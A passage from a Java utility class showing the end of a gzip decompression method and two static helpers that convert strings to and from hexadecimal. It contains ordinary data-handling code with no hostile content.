byte\[\] buffer = new byte\[256\]; int n; while ((n = ungzip.read(buffer)) >= 0) { out.write(buffer, 0, n); } } catch (Exception e) { e.printStackTrace(); } return out.toByteArray(); } public static String convertStringToHex(String str) { char\[\] chars \= str.toCharArray(); StringBuffer hex \= new StringBuffer(); for(int i = 0; i < chars.length; i++) { hex.append(Integer.toHexString((int) chars\[i\])); } return hex.toString(); } public static String convertHexToString(String hex) { StringBuilder sb \= new StringBuilder(); StringBuilder temp \= new StringBuilder(); for(int i = 0; i < hex.length() - 1; i += 2) { String output \= hex.substring(i, (i + 2)); int decimal \= Integer.parseInt(output, 16); sb.append((char) decimal); temp.append(decimal); } // System.out.println("Decimal : " + temp.toString()); return sb.toString(); } }